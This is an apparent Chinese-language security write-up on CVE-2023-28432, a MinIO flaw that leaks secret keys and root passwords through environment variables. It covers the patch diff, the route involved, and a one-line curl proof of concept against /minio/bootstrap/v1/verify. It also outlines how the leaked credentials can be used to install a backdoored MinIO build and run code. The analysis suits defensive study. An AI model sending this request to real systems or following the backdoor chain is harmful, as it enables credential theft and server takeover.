CVE-2023-28432 MinIO 信息泄露漏洞分析

基本信息

Minio是一个多云对象存储框架。在从 RELEASE.2019-12-17T23-16-33Z 开始且 RELEASE.2023-03-20T20-16-18Z 之前的集群部署中,MinIO 返回所有环境变量,包括“MINIO_SECRET_KEY”和“MINIO_ROOT_PASSWORD”,从而导致信息泄露。分布式部署的所有用户都会受到影响。建议所有用户升级到发布版本.2023-03-20T20-16-18Z。

指纹

web.title=“minio”

影响版本

2019-12-17t23-16-33z <= Minio < 2023-03-20t20-16-18z

环境搭建

使用Docker启动4个minio即可。

技术分析&调试

补丁分析 对比修复版本和未修复版本 https://github.com/minio/minio/compare/RELEASE.2023-03-13T19-46-17Z…RELEASE.2023-03-20T20-16-18Z可知漏洞在commit https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077修复,查看修复代码,可以知道在 cmd/bootstrap-peer-server.go#VerifyHandler方法中增加了鉴权逻辑:

func storageServerRequestValidate(r *http.Request) error {
	token, err := jwtreq.AuthorizationHeaderExtractor.ExtractToken(r)
	if err != nil {
		if err == jwtreq.ErrNoTokenInRequest {
			return errNoAuthToken
		}
		return errMalformedAuth
	}

	claims := xjwt.NewStandardClaims()
	if err = xjwt.ParseWithStandardClaims(token, claims, []byte(globalActiveCred.SecretKey)); err != nil {
		return errAuthentication
	}

	owner := claims.AccessKey == globalActiveCred.AccessKey || claims.Subject == globalActiveCred.AccessKey
	if !owner {
		return errAuthentication
	}

	if claims.Audience != r.URL.RawQuery {
		return errAuthentication
	}

	requestTimeStr := r.Header.Get("X-Minio-Time")
	requestTime, err := time.Parse(time.RFC3339, requestTimeStr)
	if err != nil {
		return errMalformedAuth
	}
	utcNow := UTCNow()
	delta := requestTime.Sub(utcNow)
	if delta < 0 {
		delta *= -1
	}
	if delta > DefaultSkewTime {
		return errSkewedAuthTime
	}

	return nil
}

VerifyHandler方法对应的路由在cmd/bootstrap-peer-server.go#registerBootstrapRESTHandlers注册,对应的路径为 bootstrapRESTPrefix+bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify

func registerBootstrapRESTHandlers(router *mux.Router) {
	h := func(f http.HandlerFunc) http.HandlerFunc {
		return collectInternodeStats(httpTraceHdrs(f))
	}

	server := &bootstrapRESTServer{}
	subrouter := router.PathPrefix(bootstrapRESTPrefix).Subrouter()

	subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodHealth).HandlerFunc(
		h(server.HealthHandler))

	subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify).HandlerFunc(
		h(server.VerifyHandler))
}
minioReservedBucket     = "minio"
minioReservedBucketPath = SlashSeparator + minioReservedBucket
bootstrapRESTPrefix        = minioReservedBucketPath + "/bootstrap"
const (
	bootstrapRESTVersion       = "v1"
	bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion
)
const (
	bootstrapRESTMethodVerify = "/verify"
)

综合可得,触发漏洞方法为向/minio/bootstrap/v1/verify接口发送POST请求即可,除了对verify接口做鉴权之外,补丁中还在输出中去除了密钥等敏感信息。 ![[../images/Pasted image 20231007234853.png]]

PoC

curl -X POST http://target/minio/bootstrap/v1/verify

小结

这个漏洞分析起来较为简单,由于Minio是go开发的,直接RCE比较难,目前RCE方式是通过信息泄露获取到管理员密钥登录,而后替换更新链接,在使用minio自带的mc工具进行更新,将当前minio实例替换为带有后门版本的minio,从而执行任意代码。

参考链接

https://github.com/minio/minio/compare/RELEASE.2023-03-13T19-46-17Z…RELEASE.2023-03-20T20-16-18Z

创建于2023-10-06

Created at 2023-05-05T20:53:41+08:00

创建于:Friday, May 5,2023
最后修改于: Sunday, October 8,2023